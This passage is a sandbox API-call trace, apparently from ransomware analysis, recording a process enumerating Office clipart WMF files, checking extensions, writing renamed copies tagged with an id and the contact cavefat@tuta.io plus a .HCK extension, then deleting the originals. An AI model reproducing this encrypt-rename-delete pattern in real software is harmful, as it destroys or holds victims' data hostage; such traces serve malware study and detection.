lpString2="_.WMF") returned -1 [0179.476] lstrlenW (lpString=".ppt") returned 4 [0179.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.476] lstrlenW (lpString=".zip") returned 4 [0179.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.476] lstrlenW (lpString=".rar") returned 4 [0179.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.476] lstrlenW (lpString=".bz2") returned 4 [0179.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.477] lstrlenW (lpString=".7z") returned 3 [0179.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.477] lstrlenW (lpString=".dbf") returned 4 [0179.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.477] lstrlenW (lpString=".1cd") returned 4 [0179.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03466_.WMF") returned 68 [0179.477] lstrlenW (lpString=".jpg") returned 4 [0179.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.477] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.477] lstrlenW (lpString="PE03795_.WMF") returned 12 [0179.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.478] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1930) returned 1 [0179.478] CloseHandle (hObject=0x2fc) returned 1 [0179.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf")) returned 0x220 [0179.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.483] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.483] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.486] GetLastError () returned 0x0 [0179.486] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x78a, lpOverlapped=0x0) returned 1 [0179.488] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x790, lpOverlapped=0x0) returned 1 [0179.489] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.489] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.489] SetEndOfFile (hFile=0x2fc) returned 1 [0179.491] CloseHandle (hObject=0x2fc) returned 1 [0179.493] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.493] SetEndOfFile (hFile=0x368) returned 1 [0179.496] CloseHandle (hObject=0x368) returned 1 [0179.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf")) returned 1 [0179.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.501] lstrlenW (lpString=".doc") returned 4 [0179.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.501] lstrlenW (lpString=".docx") returned 5 [0179.501] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.501] lstrlenW (lpString=".pdf") returned 4 [0179.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.501] lstrlenW (lpString=".xls") returned 4 [0179.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.501] lstrlenW (lpString=".xlsx") returned 5 [0179.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.501] lstrlenW (lpString=".ppt") returned 4 [0179.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.501] lstrlenW (lpString=".zip") returned 4 [0179.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.501] lstrlenW (lpString=".rar") returned 4 [0179.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString=".bz2") returned 4 [0179.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString=".7z") returned 3 [0179.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".dbf") returned 4 [0179.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".1cd") returned 4 [0179.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".jpg") returned 4 [0179.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".doc") returned 4 [0179.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString=".docx") returned 5 [0179.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.502] lstrlenW (lpString=".pdf") returned 4 [0179.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString=".xls") returned 4 [0179.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.502] lstrlenW (lpString=".xlsx") returned 5 [0179.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.502] lstrlenW (lpString=".ppt") returned 4 [0179.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".zip") returned 4 [0179.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.502] lstrlenW (lpString=".rar") returned 4 [0179.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString=".bz2") returned 4 [0179.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString=".7z") returned 3 [0179.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".dbf") returned 4 [0179.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".1cd") returned 4 [0179.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF") returned 68 [0179.502] lstrlenW (lpString=".jpg") returned 4 [0179.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.502] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.502] lstrlenW (lpString="PE05710_.WMF") returned 12 [0179.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.506] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5756) returned 1 [0179.506] CloseHandle (hObject=0x300) returned 1 [0179.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf")) returned 0x220 [0179.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.510] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.510] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.513] GetLastError () returned 0x0 [0179.513] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x167c, lpOverlapped=0x0) returned 1 [0179.515] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1680, lpOverlapped=0x0) returned 1 [0179.516] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.516] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.516] SetEndOfFile (hFile=0x39c) returned 1 [0179.517] CloseHandle (hObject=0x39c) returned 1 [0179.517] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.517] SetEndOfFile (hFile=0x300) returned 1 [0179.518] CloseHandle (hObject=0x300) returned 1 [0179.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf")) returned 1 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.519] lstrlenW (lpString=".doc") returned 4 [0179.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.519] lstrlenW (lpString=".docx") returned 5 [0179.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.519] lstrlenW (lpString=".pdf") returned 4 [0179.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.519] lstrlenW (lpString=".xls") returned 4 [0179.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.519] lstrlenW (lpString=".xlsx") returned 5 [0179.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.519] lstrlenW (lpString=".ppt") returned 4 [0179.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.519] lstrlenW (lpString=".zip") returned 4 [0179.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.519] lstrlenW (lpString=".rar") returned 4 [0179.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString=".bz2") returned 4 [0179.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString=".7z") returned 3 [0179.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".dbf") returned 4 [0179.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".1cd") returned 4 [0179.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".jpg") returned 4 [0179.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".doc") returned 4 [0179.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString=".docx") returned 5 [0179.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.520] lstrlenW (lpString=".pdf") returned 4 [0179.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString=".xls") returned 4 [0179.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.520] lstrlenW (lpString=".xlsx") returned 5 [0179.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.520] lstrlenW (lpString=".ppt") returned 4 [0179.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".zip") returned 4 [0179.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.520] lstrlenW (lpString=".rar") returned 4 [0179.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString=".bz2") returned 4 [0179.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString=".7z") returned 3 [0179.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".dbf") returned 4 [0179.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".1cd") returned 4 [0179.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF") returned 68 [0179.520] lstrlenW (lpString=".jpg") returned 4 [0179.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.520] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.520] lstrlenW (lpString="PE06049_.WMF") returned 12 [0179.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.523] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4636) returned 1 [0179.523] CloseHandle (hObject=0x2fc) returned 1 [0179.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf")) returned 0x220 [0179.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.531] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.531] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.534] GetLastError () returned 0x0 [0179.534] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x121c, lpOverlapped=0x0) returned 1 [0179.535] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1220, lpOverlapped=0x0) returned 1 [0179.536] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.536] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.536] SetEndOfFile (hFile=0x368) returned 1 [0179.537] CloseHandle (hObject=0x368) returned 1 [0179.538] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.539] SetEndOfFile (hFile=0x370) returned 1 [0179.541] CloseHandle (hObject=0x370) returned 1 [0179.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf")) returned 1 [0179.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.544] lstrlenW (lpString=".doc") returned 4 [0179.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.544] lstrlenW (lpString=".docx") returned 5 [0179.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.544] lstrlenW (lpString=".pdf") returned 4 [0179.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.544] lstrlenW (lpString=".xls") returned 4 [0179.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.544] lstrlenW (lpString=".xlsx") returned 5 [0179.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.544] lstrlenW (lpString=".ppt") returned 4 [0179.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.544] lstrlenW (lpString=".zip") returned 4 [0179.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.545] lstrlenW (lpString=".rar") returned 4 [0179.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString=".bz2") returned 4 [0179.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString=".7z") returned 3 [0179.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".dbf") returned 4 [0179.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".1cd") returned 4 [0179.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".jpg") returned 4 [0179.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".doc") returned 4 [0179.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString=".docx") returned 5 [0179.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.545] lstrlenW (lpString=".pdf") returned 4 [0179.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString=".xls") returned 4 [0179.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.545] lstrlenW (lpString=".xlsx") returned 5 [0179.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.545] lstrlenW (lpString=".ppt") returned 4 [0179.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF") returned 68 [0179.545] lstrlenW (lpString=".zip") returned 4 [0179.545] lstrcmpiW 